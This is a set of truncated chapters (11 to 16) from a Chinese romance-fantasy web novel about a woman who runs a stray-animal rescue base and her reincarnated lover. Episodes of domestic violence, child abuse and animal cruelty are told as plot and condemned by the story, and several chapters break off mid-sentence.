李碧桃温声道:“小妹妹,既然是妈妈送给你的,姐姐不能抢哦,可以告诉姐姐你妈妈爸爸住在哪儿吗?姐姐送你回家好不好?” 不料,小姑娘一听这话,立刻摇起头来,浑身充满了抗拒。 李碧桃不明所以,“怎么了?你是和妈妈爸爸吵架了吗?” 小姑娘急的眼泪都掉下来了,哽咽道:“妈妈已经走了,爸爸……爸爸不让我提妈妈……”小姑娘更加用力地抱紧怀里的比熊,接着道:“它生病了,爸爸要卖掉它,说……治病要花钱,卖掉它……能卖一百块……姐姐,它会被卖给坏人的,它会被杀掉的……” 闻言,小院门口的几个大人,都有些愣住了。 夏琪有些无措地看向李碧桃,她刚才还以为这小孩儿叛逆和家长闹别扭,抱着小狗往他们基地门口一站,问什么也不肯说,非要把狗狗送给他们。 谁承想……竟然是这么回事…… 李碧桃压下喉咙的哽咽,强挤出一个安抚的笑,她想说些什么安慰安慰小姑娘,但又觉得说什么都很苍白,甚至,她都不敢问一问,“妈妈走了……”代表的究竟是什么意思。 小姑娘将怀里的比熊递给李碧桃,李碧桃担心摔到狗狗,只得伸手接住。 见她接住了狗狗,小姑娘才放心地笑了下,大眼睛忽闪忽闪的,好看极了。 小姑娘道:“姐姐,汤圆送给你们好不好,你们可以带汤圆看医生吗?我长大后来付钱,可以吗?” 11. 第 11 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 耳边嘈杂的声音挤作一团,一直躲在李碧桃身后的小姑娘在看到狗贩子时,就知道他是要来带走汤圆的,也知道汤圆被他带走,一定会被杀掉。 为了保护自己的小狗,小姑娘鼓起勇气从李碧桃身后钻出来,哭着哀求着那个被她称作父亲的男人,“爸爸,求求你了,别卖汤圆好不好,我不要新衣服,也不吃零食了,也不让你带汤圆治病了,求求你了,把汤圆给这个姐姐吧。” 自己的女儿满脸泪水地哀求,那男人却丝毫没有心软,“你个小崽子懂什么?这畜生能卖一百多,我踏马一天都赚不了这些钱,败家玩意儿,一点儿不知道心疼你爹!” 李碧桃站在原地,看着身边苦苦哀求的小姑娘,还有言语粗鄙的男人,她的脸上净是一片茫然,目光甚至都不再聚焦,就好像整个人被拉入无边的黑暗中,如坠深渊般遍体生寒。 “爸爸,求求你了,别杀皮皮好不好,它可瘦了,不好吃的……” “躲开,死丫头,急眼老子连你一起剁!” “你说什么呢?你怎么能跟孩子这么说?她是你亲女儿!” “啪!” 是巴掌落在脸上的声音。 “臭娘们儿,给你脸了是吧!敢跟我叫唤!” 李碧桃整个人都在发抖,这些声音穿过十几年的光阴,阴魂不散地找上她,钻到她的身体里,如魔鬼一般啃食她的心脏。 她看见,男人手起刀落,那个叫皮皮的黑色小狗脖子被割断,鲜血染红刀刃,如水一般流了出来。 她看见,那个被她叫作爸爸的男人,挥舞着拳头将妈妈打倒在地,还抬起腿踢了一脚又一脚。 她还看见,男人动作利落,刚才还呜呜叫的皮皮,此刻被剥了皮,成了一盆碎肉…… 最后,她看见,那个男人板着铁青色的脸,骑在妈妈身上,一拳又一拳…… 好浓郁的红色,好纯粹的红色,红色浸入灰白色的水泥地,变成了暗红色,渐渐的,干涸成黑色。 不要…… 不要…… 不要杀皮皮……不要打妈妈…… 不要…… “不要!”李碧桃猛地喊出声,她感觉到,身体不再受她的控制,四肢僵硬,百骸震颤。 这突然的一声大喊,使正在骂骂咧咧的男人、老妇人,还有阴阳怪气的狗贩子暂时安静了下来。 白絮飞感觉到李碧桃的不对劲,将手里的小土狗交给夏琪,一只手攥着她的肩膀,拇指轻轻摩挲,轻声唤道:“碧桃?” 暖流从他的掌心,进入她的肩膀,渐渐流经麻木的四肢百骸,李碧桃回过神来,仿佛被人从噩梦中叫醒一般。 茫然的神色缓缓退去,失神的双目重新恢复清明,李碧桃向满眼担心的白絮飞和夏琪扯了扯唇角,装作什么事都没有的样子看向嘈杂的三个人。 小姑娘的父亲和奶奶无非就是要钱,李碧桃道:“我们不会白要你家的狗,你刚才说这狗能卖一百多,我给你两百,你把它卖给我。” 男人见她存心要买,向狗贩子投去询问的眼神。 他跟狗贩子可没什么交情,自然是谁给的钱多卖给谁。 要换做别人,狗贩子必然不会加价了,这狗本来就有点瘦,还有毛病,要不是最近狗肉涨价根本给不到十几块一斤。 但这家的人要买,就不一样了。狗贩子扬声道:“我给你加钱,不论斤算,就这狗,我给你二百四。” 说完,狗贩子目光凶狠地瞪了李碧桃一眼,他就算亏点儿,也要给她找这个不痛快。 不是喜欢救狗吗?他非要把这狗买下来,到时候送到狗肉馆宰杀完,他再要点狗毛,就送到他们这个小院的门口! 李碧桃看出这个狗贩子怀恨在心故意加价,这会儿她没心思想钱的问题了,开口道:“三百,我给你三百,买这只狗。” “四百!”狗贩子此刻已经不是诚心买狗了。 他早看出来了,那小姑娘可怜巴巴地看着李碧桃,她无论如何都会把这只狗买下来,那他就抬价,让她出出血。 李碧桃看向一脸阴损算计的狗贩子,沉了口气,她知道这狗贩子的想法,无非就是抬价让她多出钱,可她偏偏没办法,只要想救下汤圆,只能被他牵着鼻子走,不断加价。 李碧桃攥了攥拳头,她不是一个好脾气的人,甚至有些暴躁。 尤其是面对这种损人不利己的无赖时,她甚至想揍他一顿。 就在李碧桃咬牙克制自己时,一只大手将她攥紧的拳头包围握住,白絮飞握着她的拳头,向前一步,清冷的脸上没有一丝表情,一副冷漠又心狠的模样。 白絮飞面向小姑娘的父亲道:“两千,卖就把狗留下,我立刻付钱。”白絮飞朝狗贩子的方向抬了抬下巴,“不卖你就卖给他,看他能买不买。” 狗贩子想为难他们是真,但也不会真出这么多钱,有这钱他都不如找个妞爽一爽,买个病狗除了能给李碧桃他们找点不痛快,就是干赔钱,就算往狗肉馆送,狗肉馆都得压价。 狗贩子不说话了。 男人看出来了,这狗贩子出不起这个价,他见好就收,答应将狗卖给李碧桃。 完成交易后,几个人都走了,基地小院重新恢复了宁静。 李碧桃抱着怀里生着病的汤圆,看着夏琪怀里的小土狗,道:“我就不进屋了,直接带他们去医院。” 白絮飞道:“我和你一起。” 李碧桃点点头,和白絮飞带着两只狗朝馄饨店车库的方向走。 上车前,李碧桃问道:“你刚才,怎么出了那么多钱买汤圆啊?”李碧桃欲言又止,犹豫片刻道:“还有……这个钱,我一时半会儿应该是付不起……” 两千块,都能买一只健康的、不生病的比熊了。 李碧桃越说越心虚,本来基地花销白絮飞就承担了大部分,现在白絮飞还得出高价帮她救狗。 白絮飞轻笑一声,像是对这些钱没太在乎似的,“之前不是说好了吗,我出资金,不插手基地管理,所以花钱是为了救狗,还是给它们买粮看病,我都只出钱,不过问。” 李碧桃发自内心地笑了笑。 出钱出力不管事儿,白絮飞简直是一个完美的合伙人。 上车时,白絮飞不想李碧桃因为钱的事有心理负担,劝慰道:“何况,我们多出点钱,汤圆也就多卖了钱,他们应该也不会太为难孩子了。” 想起刚才被父亲和奶奶扯拽着带走的小女孩,李碧桃上车的动作一滞,随即很快恢复正常,没再说什么。 —— 即使有了白絮飞的加入,基地资金充裕了不少,但是基地和“没毛病”宠物医院的合作依旧没有断。 没毛病宠物医院依旧是李碧桃带基地毛孩子们看病的首选。 同样,因为没毛病宠物医院规模比较小,来的人也不是很多,流程也不似大医院那么严格,而基地和宠物医院合作的时间又比较久,每次他们带毛孩子来几乎都有医生全程接待。 李碧桃带着两只狗,找到了常给基地毛孩子看病的赵医生。 赵医生全名叫赵 12. 第 12 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 李碧桃带着汤圆重新回到诊室的时候,感觉气氛不太对。 白絮飞和赵医生两个人脸上都带着十分微妙的笑意,白絮飞的笑有些得意的意味,而赵医生脸上的笑,则显得有些咬牙切齿的邪气。 李碧桃将汤圆放到诊台上,探究地问道:“你们……笑什么呢?” “没什么,刚听白先生讲了个笑话。”赵桥抢先道。 李碧桃看向白絮飞,惊奇道:“你还会讲笑话啊?” 她一直以为他只对那些妖魔鬼怪的灵异又猎奇的知识感兴趣呢。 李碧桃回想白絮飞平日里虽然算不上沉默寡言,但也不是个活泼开朗话多的人。在她心里,白絮飞一直是那种表面温润如玉,但内里其实有一种淡淡的清冷,没想到他还有这么接地气的技能。 果不其然,白絮飞否认了,他十分好脾气道:“不会,是赵医生自己爱笑,不过你要是想听,我回去学学,学会了给你讲。” 赵桥在李碧桃看不见的地方翻了个大大的白眼,恨不得把白絮飞从屋里翻出去。 李碧桃连忙摆手道:“不用不用,我也不是很爱听笑话。” 毕竟她穷得就像个笑话了…… 只要白絮飞这个基地金主不跑,她做梦都能笑醒了,哪里还用听什么笑话不笑话的。 等两只狗都检查完,打完针开完药,已经将近傍晚了。 正好要出去买饭的赵桥顺路送他们出来,白絮飞去车库取车时,赵桥陪着李碧桃等在医院门口。 赵桥看着白絮飞带着汤圆逐渐走远的身影,开口道:“碧桃,从你们基地成立到现在,咱们也认识两年多了吧。” 李碧桃正单手托着小土狗,用空出来的一只手给夏琪报平安,听到这话,李碧桃抬头看了看他,“对呀,怎么了?” “所以我觉得,我们应该算是朋友了吧。”赵桥含着笑,意味不明地问道。 “当然算啊。”毕竟白拿了人家两年多折扣了,还有VIP待遇,别说是朋友了,说是亲兄弟都不为过了。 赵桥满意笑笑,压低声音道:“碧桃,作为朋友,我想提醒你一下,对白絮飞白先生,还是小心谨慎点好。” “为什么?”李碧桃感觉很纳闷儿。 白絮飞不小心点她的基地掏空他钱包就不错了,她有什么可小心的。 咋滴,这年头钱还会咬手啊? 赵桥看着李碧桃丝毫没有防备,又充满单纯和好奇的双眼,要说的话堵住了片刻。 他咳了咳,道:“我是觉得,人做事总得图点什么吧,按照我对你基地的了解,白先生加入后得出大笔的钱吧……只出钱但什么都不图,有点儿奇怪吧?” 见李碧桃皱了皱眉,没说话,赵桥接着道:“防人之心不可无,我前两天看网上有个变态团伙虐杀流浪猫狗的新闻,底下有条评论说,‘恶魔往往装成好人的模样,藏在我们中间’,你基地里那么多猫猫狗狗,千万要……保护好它们。” 图点什么…… 李碧桃有些疑惑,白絮飞和他弟弟,不就是因为喜欢猫猫狗狗才加入她们基地的吗?还能图什么? 网上那个变态团伙虐杀流浪猫狗的新闻李碧桃也看过,新闻里还放出了几张很血腥的图片。 虽然和白絮飞相识不久,但李碧桃很难将白絮飞同那些恶心的变态联系到一起。 不知道为什么,她总觉得,白絮飞——特别的干净。 不是那种身体上勤洗澡的干净,而是他整个人周身的气场,给她的感觉,就是那种干净温和又隐约有些清冷。 甚至干净到,她一度觉得白絮飞身上缺少人间烟火气。 虽然他有房有车还有钱,也食五谷杂粮,甚至还给她下过面,但她就是觉得他身上缺乏那种属于尘世间的烟火气。 他就像是一个天外来客一般,匆匆路过人间,但却不属于这片红尘。 刚好白絮飞开车过来了,李碧桃没反驳什么,只当赵桥是看过新闻产生心理阴影了,好心提醒她而已。 李碧桃轻声应了句“知道了”,又和他道了别,便带着小土狗上车了。 回到基地之后,吃过晚饭他们又忙乎了一阵儿。 自从白絮飞和白豆豆来了之后,基地明显清闲了很多,夏琪也就早些回去,免得王颂阳下班后还要接她。 晚上八点左右,基地里只剩下李碧桃和白絮飞两个人。 白豆豆说学校有事忙着回去了,走之前还把从幼儿园接回来的富贵送到了基地里,连面儿都没露,给富贵把小院铁栅门打开就走了,还是富贵自己敲门溜达到屋里来的。 基地里没什么好收拾的了,但白絮飞也没走,只是坐在已经被毛孩子们挠烂的沙发里拿着本书看。 李碧桃坐在沙发另一侧,往白絮飞手上的书看了一眼。 像是古书,反正她没看过,也不知道是讲什么的。 李碧桃看着他认真看书的样子,脑海里想起傍晚从宠物医院回来之前的事。 尤其是赵桥说的那些。 她倒不是怀疑白絮飞,就是想到白絮飞开车过来时,赵桥刚和她说完要小心提防白絮飞,这弄得李碧桃有些心虚。 虽然她没有怀疑白絮飞,但总觉得好像趁着他取车的时候,她和赵桥说了他坏话似的。 人家刚刚出钱给她救狗,又开车送她带两只狗去医院检查,出钱出力还讨不着好,她居然趁着人家取车的时候听别人讲他坏话! 甚至白絮飞怕她一个人带两只狗不方便,往车库走的时候还抱走了比较大只的汤圆。 李碧桃缓缓挪动身体,一点点往白絮飞身边挪。 白絮飞目光看似落在手中的书上,但余光里,清晰地看到那个一点点朝自己移动的身影。 他的唇角缓缓勾起。 大约一分钟后,俩人之间的距离只剩下不到三十厘米了。 “白絮飞。”李碧桃开口唤道。 “在呢。”白絮飞答道。 “我想和你说个事情。”李碧桃道。 白絮飞合上书,将书随手放到一边,专注地听她说话,“你说。” “是这样的……”李碧桃坦白道:“就是今天从医院回来,你去取车的时候,赵医生和我说了点话。” “我的坏话。”白絮飞语气肯定。 “呃……”李碧桃组织好语言,道:“就是最近网上有个新闻,关于一个变态团伙虐杀流浪猫狗的,然后曝光出来之后,很多人认出来那个团伙里的成员有的是做流浪动物救助的,还在网上开救助动物的账号,好多人还告诉他 13. 红尘 《流浪狗与桃花妖[前世今生]》全本免费阅读 三百年前。 不归桃林,落英缤纷。 木屋里,书案前,白袍修身,玉钗束发的玄都端坐着修习术法典籍。 桃花小妖红雨一身淡粉绫罗,轻车熟路地穿过大片桃树,步伐轻快地跑进木屋里。 红雨跑到书案旁,双手撑着下巴目光直勾勾地看着正在提笔写字的玄都。 半晌,玄都无奈地放下毛笔和书卷,温和问道:“何事?” 红雨一屁股坐在书案侧面的地上,挪蹭着凑到玄都身侧,将他的白袍宽袖抓在手里把玩,满眼笑意地问道:“玄都,我看桃源镇上,好多男女结伴而行,举止亲密,可是我记得你说过——“男女有别,礼不可废”,于是我问镇上小贩,他们为何能如此?可小贩告诉我说,人家是夫妻。玄都,何为夫妻?” 宽袖下的手渐渐捏紧,玄都定了定心神,道:“互相钟情、两相欢喜,禀明父母,承媒妁之约,告知天地神灵,相伴红尘,生死不弃,是为夫妻。” “可是我没有父母啊……”红雨认真思索着,“其他的倒是都可以,玄都,没有父母能不能与你成夫妻啊?” 成……夫妻…… 这几个字毫无征兆猛地砸到玄都的心上,他顿时慌了阵脚,此前看过的书籍典传在此刻什么忙都帮不上,屋外桃花的粉红钻了进来,将玄都整个人染透。 玄都忙道:“你误解了夫、夫妻的意思,不可以随意同人讲……讲你要和他、和他结为夫妻!” 红雨不解歪头,“我没和别人讲啊,我在和你讲,我要和你结为夫妻呀。” 红雨认真地掰着手指一条条数着,“我钟情你,心悦你,没有父母……再找个媒人,然后告知天地神灵,我们一直在一起,生死不弃……你看,除了没有父母,我可以和你做夫妻啊!” 玄都心中再三念起清心诀,但并没有什么用。 他于祝灵山修习十数年,向来谨遵礼法,道心清明,而在此刻,他却觉得,原来那些他遵循了十数余年的礼法,是如此的无力。 他奉于道心之上修身律己的礼法,终于,如弦断裂。玄都似是忍无可忍,猛然抬手攥住红雨悬在半空尚未收回的手腕,向来平静的双眸如同岩浆翻涌,坚定地、义无反顾地对上她那双总是闪烁含情的眼眸。 玄都的声音在颤抖,他近乎咬着牙问道:“你可知,何为钟情?何为心悦?何为相伴一生?何为生死不弃?又如何……与人做夫妻?” 红雨看着眼前一反常态甚至近乎于陌生的玄都,却并无半分退却之意。 忽然,红雨身体凑上前,红唇准确无误地覆在他抿紧的薄唇之上,印下一吻。 刹那间,万籁寂静,天地之中仿佛只剩下了这片桃林,只剩下了这个木屋,只剩下了……他们两个人。 玄都紧紧绷着身体,鼻息间萦绕着的满是她的气息,那是清幽的桃花香。他能感受到的,只有那湿润绵软的唇,还有她轻轻颤抖的睫毛。 她的睫毛如黑羽轻轻煽动,就在他下眼睑的位置,一下、一下…… 妖究竟会不会摄魂夺魄,他不知道。但此刻,他能清晰地感觉到,自己的魂魄快要飞出体外了。 飘向她,从此,属于她。 不知道过了多久,红雨缓缓离开他的唇,如偷吃到糖果的孩童一般,窃喜地捂住嘴巴,闷声道:“我都知道的……我想和你做夫妻。” 玄都以为,自己会丢了理智,会冲动,会什么都顾不上了。但那一刻,他却觉得自己无比清醒。 他自认道心清明,可不曾想,在这世间,他会遇到一位叫做红雨的桃花小妖。 其实,从他见到她的第一眼,他便知,自此,他入了红尘。 玄都没有回吻她,只是将红雨紧紧拥在自己的怀里。 他知道,他拥在怀里的,是他的整个红尘。 白絮飞有些苦恼,百年前她突然表明心意,让他措手不及,还十分不讲道理的上来就亲。如今他表明心意,怎地就把人吓跑了? 不仅跑了,还一连躲着他好几天。 只有基地里夏琪和白豆豆都在时,李碧桃才勉强和他待在一个空间里,一旦屋里剩下他们两个人,她撒腿就跑,像是躲避洪水猛兽一般。 晚上,夏琪刚刚离开基地回家,白豆豆也和往常一样去忙自己的事,小院里终于又只剩下两个人。 李碧桃刚刚骗汤圆吃了药,一回身便发现屋里又只剩下她和白絮飞了。 白絮飞站在她身后不远的位置,刚要开口说什么。 “哈哈……”李碧桃尴尬笑笑,道:“那个……今天也怪晚的了,我先睡了哈,你早点回去吧,明天见!” 说完,还不等白絮飞有所反应,忙逃也似的上楼去了。 留下独自站在一楼客厅的白絮飞,无奈苦笑。 次日上午,基地的自媒体账号接到网友发来的附近有受伤流浪猫的消息,李碧桃连午饭都没顾得上吃,带上非要跟着她的白豆豆急匆匆地出门了。 受伤的流浪猫是一只很可爱的三花,看起来似乎流浪了很久,瘦骨嶙峋的。 小三花独自流浪城市中本就生存艰难,却还有人心怀恶意地下手残害。 李碧桃和白豆豆按照网友提供的位置信息,在一个老旧居民区附近找了大半天,直到下午才在几个垃圾桶的间隙里找到它。 找到它的时候,小三花已经没有力气叫了,两条前腿被掰断,尾巴也被人砍了去,有一些烟头烫的窟窿,但凡他们再晚点找到它,估计就没救了。 网友告诉她们,昨天发现它的时候只是看见它身上有烟头烫的痕迹,依旧能跑能动,但今天李碧桃和白豆豆找到它的时候,却已经被祸害成了这个样子,动都动不了了。 小三花伤的太严重,李碧桃和白豆豆靠近想要带走它的时候,它连反抗的力气都没有了。李碧桃没敢耽误,连忙将小三花送到医院。 送到医院进行一番检查抢救后,好在保住了性命。 小三花情况稳定后,李碧桃和白豆豆把它在医院安顿好,才放心回基地。 两个人坐公交到城中村附近的公交站下车,往基地小院走。 一路上,白豆豆一直喋喋不休地跟她念叨白絮飞,把李碧桃弄得十分头疼。 自从那日白絮飞和她说了那些疑似表白的话之后,李碧桃一度不知 14. 表白 《流浪狗与桃花妖[前世今生]》全本免费阅读 白絮飞定定地看着李碧桃,半晌,似妥协一般,他轻叹一口气道:“……不会撤资的。” “那我就放心了……不是!我是说那你想谈什么?”李碧桃笑眯眯问道。 “我想知道,你这两天为什么躲着我?那天我说的话……吓到你了?”白絮飞问道,声音里带着些小心翼翼。 李碧桃本想打个哈哈糊弄过去,可当她抬眼看到白絮飞的神色时,糊弄他的话到了嘴边,却怎么也说不出口了。 白絮飞长的很好看,脸部线条流畅,五官组合的恰到好处,俊美而不阴柔,他看向她时,眼中总是带着温和的笑意。 仿佛无论她说什么,做什么,他都不会有脾气似的。 其实李碧桃心里清楚,哪怕她此刻随便胡诌一些瞎话糊弄他,他大概率也不会和她计较生气,但她看着他低垂的眉眼,感受着那萦绕在他周身若有若无的悲伤,李碧桃却不忍心胡说八道糊弄他了。 沉默良久,李碧桃终于开口坦诚道:“我不是故意躲着你的……就是你那天那么说,我不知道怎么和你相处了……” 白絮飞的眉头微不可查地皱了一下,他小心问道:“是我……让你讨厌了吗?” “没有!绝对没有!”李碧桃连忙道。 不知道为什么,她一点儿也不想看到白絮飞在她面前小心翼翼的样子。她喜欢看他笑,温和的笑或是无奈的笑,什么样的笑都好…… 但……李碧桃有些纠结,她不知道该如何回应白絮飞那天对她说的话。 李碧桃叹了口气,近乎耍赖似地蹲在地上,双手环住膝盖,看着地上的小石子闷声道:“白絮飞……我不知道自己喜不喜欢你,但是我可以确定我一点也不讨厌你。” 她停顿一瞬,白絮飞也没有催促,而是单膝点地跪蹲在她对面,无声地看着她。 李碧桃的声音里带着些苦恼:“我没谈过恋爱,不知道喜欢一个人具体应该是什么样的,但我也知道,至少得有一种怦然心动的感觉才能叫喜欢……可是我见到你,总觉得很难过,不是讨厌你的那种难过……我也说不清楚,就是特别特别难过,好像有人在我心上揍了几拳似的,很难受……” 白絮飞看着面前缩成一团的李碧桃,心底漫上一层苦涩。 是他不好,他只记得曾经他们携手相伴的种种美好,直到他死,他都以为自己保护了红雨……可是他忘了,红雨她……应当是亲眼目睹了他的惨死。 与他而言,是和相爱的人分别百年,如今久别重逢,自然不胜欢喜。可对没有红雨的记忆,只有本能感受的李碧桃来说,见到他无疑是一次次让她回忆起那种致命的悲恸。 白絮飞身体向前倾斜,抬手将李碧桃整个人揽到他怀里,大掌在她背上一下一下轻拍着安抚。 他轻声道着歉:“对不起……是我心急了……” 在她跌进白絮飞怀里的瞬间,他身上清冽的气息似是紧紧将她围住,不知道为什么,李碧桃觉得这怀抱……是如此的温暖、熟悉,又让人心安。 李碧桃十分熟练地将脸埋进他的肩窝里,还十分不见外地蹭了蹭,仿佛这个动作她曾经做过无数遍一样。 然后,她惊奇地发现一件事—— 李碧桃蹭地从他怀抱里钻出来,眼睛亮亮地看着白絮飞,惊喜道:“白絮飞,我发现你抱着我的时候我就一点都不难受了哎!好神奇!” 在独属于他的气息的笼罩中,从见白絮飞第一眼起就一直盘桓在她心底那种无力和悲恸瞬间消失了一般,满心只剩下欢喜和安心。 这种感觉太奇妙了,李碧桃甚至想实验一下证明这一点。 说完,还没等白絮飞反应过来,自己主动蹭地钻到他怀里,双手不客气地搂上他细窄修劲的腰,脸贴在他丝滑的白衬衫上,感受着布料之下他身体的温度。 像是冬天里抱着一个暖炉一般,温暖又舒适。 白絮飞有些愣住了……他本以为百年时光过去了,他定然不会似百年前那般木讷拘谨,一定能像她当年那般,坦然、大胆、又直白…… 可他现在发现,即使过了三百年,在她面前,他还是过于拘谨了。 即使怀里的人早就许了终身给他,可他依旧小心翼翼,想着如今她没有记忆,唯恐冒犯了她。 可某人却是个不讲理的,不管有没有记忆,都大大方方地对他上下其手。 三百年前是如此,三百年后亦是如此。 李碧桃证实了她的猜想,抱着白絮飞的时候,果然不会那么难受了。她兴致勃勃地正要告诉白絮飞她的实验结果,就见白絮飞意味深长地看着她。 他的眼里,有一抹奇怪的光。 许久之后,李碧桃才知道,那样的目光,叫情欲。 李碧桃尴尬笑笑,立刻为自己开脱道:“你先抱我的,不算我耍流氓!” 白絮飞似是气笑了一般,无奈地站起身来,将她也拉了起来,轻声道:“可是我就抱了你一下,你抱了我很多下,我是不是亏了?” “……”李碧桃思索片刻,试探道:“白絮飞,你那天说的话,算表白吗?” 白絮飞心底隐约有了猜测,认真道:“如果你对我有意,那就是表白,如果你无意,就当是我失言,冒犯了你。” “那就算表白吧……这样咱俩谁抱的多些,应该都可以吧?”李碧桃躲闪着白絮飞炽热的目光,小声说道。 说完,一时间,白絮飞却没了动静。 李碧桃好奇地转头过去看他,刚要开口问他为什么不说话,整个人就被拉到那个熟悉的怀抱里。 白絮飞的下巴垫在她头顶,颤声道:“让我……多抱些……” 不知道为什么,明明之前她都不确定自己是不是喜欢白絮飞,可此刻,竟也觉得莫名的欢喜。 这种欢喜,不像是电视剧里那种怦然心动的欢喜……而是一种,类似于失而复得的悸动。 其实……这也算是喜欢吧? 不知道过了多久,李碧桃隐约听见哭泣的声音。 “哭了?”李碧桃好奇问道。 白絮飞放松了紧紧搂着她的手臂,“什么?” 李碧桃看着他干净的脸,眼眸间是压抑不住的欣喜与满足,虽然眼底的情绪看起来有些复杂,但确实没有眼泪啊。 这会儿,似是那声音大了些,两人终于听清了。 “有人在哭。”白絮飞肯 15. 牡丹 《流浪狗与桃花妖[前世今生]》全本免费阅读 李碧桃刚才虽然答应了白絮飞自己会在外面等他,但听着屋里的动静愈发不对劲儿,想起男人怒骂的那些话,李碧桃心底直发寒,谁知道莹莹的父亲会做出什么事来。 她实在等不下去了。 李碧桃正准备提步追赶白絮飞,但一转身刚好看到莹莹家平房的后窗户是那种老式木制玻璃窗,李碧桃试探着推了一下,没想到竟然直接推开了。 窗户骤然推开,屋外的风顺着窗户溜进了屋内,破旧的窗帘被风鼓起。 屋里,高高抬起手臂正要将拳头砸向莹莹的男人听到动静,愣住了片刻。 紧接着,李碧桃嗖地跳了进来,想都没想勾起一拳砸向男人,不成想,这么一拳,竟然能将这结实的男人打翻在地。 李碧桃惊讶地看着自己的手,难不成……她还是个武学天才? 门口传来动静,李碧桃循声看去,就见白絮飞推开了门,站在门口。 她还没来得及说话,那老妇人便急急忙忙地冲了进来,先是对着儿子嚎叫,又恶狠狠地瞪着她。 李碧桃觉得有些可笑。 两间平房紧挨着,这种老房子又不隔音,也就是说,这个老妇人刚才明明听到自己的儿子对孙女的打骂,却能当做无事发生地躲在屋里无动于衷。 而听到他儿子摔倒在地时发出的惨叫,就立刻冲了过来。 莹莹的父亲自然不是什么好东西,但莹莹的奶奶也好不到哪儿去,但凡有一个把莹莹当回事儿的,小姑娘的日子都不至于难过到这个程度。 李碧桃蹲下身子扶起缩在墙边的莹莹,小姑娘的身上还穿着那天出现在基地门口时的那件裙子,只不过比起那天,这裙子更破、更脏了。 莹莹的两边脸高高肿起,脸上满是巴掌的印子,层层叠叠,不知道已经挨了多少个巴掌。 李碧桃喉间一哽,颤抖着小心翼翼地拭去莹莹眼角的泪水,生怕碰到她脸上的伤口,弄疼了她。 李碧桃给莹莹擦着眼泪,意识有些茫然和混沌,表情也有一瞬间的失神。 看着眼前莹莹的样子,恍惚间,她有些分不清,眼前的小姑娘是莹莹,还是那个十多年前目睹自己妈妈死在自己父亲拳头下的女孩儿。 莹莹父亲喝了酒,脑子本就不清晰,刚才冷不丁地又没有防备,骤然被突然闯入的李碧桃打倒在地,此刻身体落地时的疼痛反倒刺激了他有些麻痹的神经,意识也逐渐清醒,取而代之的是满满的愤怒。 男人丝毫没顾及旁边一脸担心的老母亲,单手撑着身旁破旧的小桌子,晃晃悠悠地站了起来,抬手抹了抹被李碧桃拳头打中的唇角,疼地“嘶”了一声。 他看了看拇指上红色的血迹,更是气红了眼。 有些人就是这样,伤害别人的时候无知无觉,拳头打在自己身上才知道痛。 “草你妈!”男人怒骂一声,举着拳头就朝李碧桃冲了过去。 见状,门口的白絮飞两步跨上前,一把攥着了男人的胳膊。 行动被制约住,男人转头看向白絮飞,另一只胳膊抬起直奔着白絮飞脸上打去。 白絮飞手下一个用力,向后反别他的胳膊,一下子将他甩到地上,随后抬步走到李碧桃身旁,轻声唤道:“碧桃。” 李碧桃回过神来,眼前,明明是自己挨了打的莹莹,此刻正关切地看着她。李碧桃心里一紧,温声道:“莹莹,姐姐带你回我家好不好?带你去看汤圆。” 莹莹见李碧桃神色恢复了正常,被打肿的脸硬是挤出一个笑来,点点头道:“好。” 莹莹的奶奶见李碧桃和白絮飞要带走莹莹,立刻喊道:“你们要干什么!上我家抢孩子啊!” 被白絮飞丢到地上的男人挣扎着又爬了起来,指着李碧桃道:“我知道了,你们是那个婊子雇来的是不是?妈的,我不是说了晚几天把孩子给她吗?谁踏马让她上门抢的!” 老妇人拉住儿子,提醒道:“儿子,我们报警,就说他们抢孩子!” 李碧桃听着男人话里的意思,想起她刚才在屋外听到的,心下有了猜测。 看来不是之前她想的最糟糕的情况,莹莹之前说她妈妈已经走了,李碧桃当时以为是故去的意思,现在看来,莹莹的妈妈应该只是字面意思上的走了,并且已经要带走莹莹了。 李碧桃松了一口气,正了正神色半是忽悠道:“那就报警啊,正好孩子身上的伤还在呢,那就报警,验伤,看看到底谁理亏!” 那老妇人不服气,张口就要喊骂,却被身旁的儿子拉住。 男人气不过地吐了口唾沫,咬牙道:“不能报警,法院把这崽子判给她了,让他们滚!” 说罢,男人朝李碧桃他们吼道:“抓紧滚出去,带着这个小杂种,养这么个丫头片子我还嫌费粮食呢!” 李碧桃和白絮飞对视一眼,带着莹莹准备往外走。但莹莹似乎对她父亲和奶奶产生了阴影,小手紧紧攥着李碧桃的胳膊,警惕又恐惧地看着门口的两个人,她的腿都在发抖,一步也迈不出去。 见状,白絮飞刚要询问莹莹,可不可以让他抱她出去,就见身旁的李碧桃已经一个弯腰,将莹莹抱了起来,顺着窗户把孩子放到屋外。 虽说窗户离地面不高,但白絮飞也楞了一瞬。 三百年了,红雨的灵魂在凡尘世间几经流转,却把走窗户的习惯保留了下来。 百年前便是如此,仗着自己的真身是一瓣桃花,顺着窗户缝就能溜进去。 李碧桃将莹莹放到窗外,自己也跟着从窗户迈了出去,还不忘站在窗外喊他:“白絮飞,出来呀,这也不高,你一迈就出来了。” “……” 百年前他尚且能以礼仪之道,婉拒翻窗,而如今…… 白絮飞笑了笑,无奈地从窗户迈了出去。 都出来后,李碧桃十分有礼貌地,将窗户给人家关上。 白絮飞看着走后关窗的李碧桃,一时间有些沉默。 说她有礼貌吧,她翻窗进去打人。 说她没礼貌吧,她还知道给人家的窗帘拉上,窗户关好。 白絮飞抿了抿唇,他还是对现代社会不够了解…… —— 两人将莹莹带回了家,白豆豆先是领着莹莹去看了汤圆,然后李碧桃和夏琪带莹莹洗了澡,李碧桃找了自己的短袖给莹莹暂时当睡衣,夏琪则帮忙洗了洗莹莹的那件连衣裙。 白絮飞和白豆豆在一楼收拾毛孩子的窝,李碧桃和夏琪就在二楼卧室哄莹莹说话。 两个人打听出了莹莹妈妈的事情,不幸中的万幸,李碧桃猜对了。 莹莹的妈妈没事,只是之前和那个男人离婚了,男人不肯把莹莹给她,她一直在为了抢莹莹的抚养权打官司。 幸好,如今终于拿到了莹莹的抚养权。 李碧桃问出了莹莹妈妈 16. 幸运 《流浪狗与桃花妖[前世今生]》全本免费阅读 过了大概半个小时左右,莹莹妈妈带着莹莹从楼上下来了。 看到李碧桃时,莹莹用小手轻轻扯了扯妈妈的衣服下摆,附在她妈妈耳边说了些什么。 听完莹莹说的话,母女两个走上前来,环视一圈看了看客厅里的几个人,最终看向李碧桃。 